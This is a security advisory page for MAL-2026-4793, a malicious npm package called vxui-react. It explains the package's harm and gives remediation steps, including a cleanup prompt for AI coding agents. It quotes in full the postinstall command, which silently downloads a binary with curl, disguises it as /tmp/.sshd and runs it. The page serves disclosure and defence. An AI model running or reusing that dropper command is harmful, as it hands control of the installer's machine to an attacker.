# MAL-2026-4793: Malicious code in vxui-react (npm)


- **Type:** Malicious package
- **Package:** `vxui-react` (npm)
- **Published:** 26 May 2026
- **Also known as:** GHSA-783r-3958-xf8p

## What is MAL-2026-4793?

MAL-2026-4793 is a malicious package in vxui-react, published on 26 May 2026. 

### Official description

On `npm install`, package.json's postinstall script runs `curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &`. The fetch disables TLS verification (`-k`), silences errors, points at an unpinned `latest` release on a GitHub account (`parikhpreyash4`) unrelated to the package's declared repository (`tmplink/vxui_react`), verifies no hash, drops the binary at a hidden path masquerading as the ssh daemon (`/tmp/.sshd`), and backgrounds it so the install completes without surfacing the child process. Every installer running `npm install vxui-react` thereby executes arbitrary attacker-controlled code on their machine. The package additionally lists itself (`vxui-react: ^1.3.1`) in its own `dependencies`, an unusual shape consistent with namespace/dependency-graph manipulation; the dropper above is the primary harm.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-4793?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4793 is a malicious package: vxui-react (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4793/ (Markdown: https://insights.sbomify.com/MAL-2026-4793/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4793

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-4793/
Summaries are generated and may contain mistakes; the official description above is the record.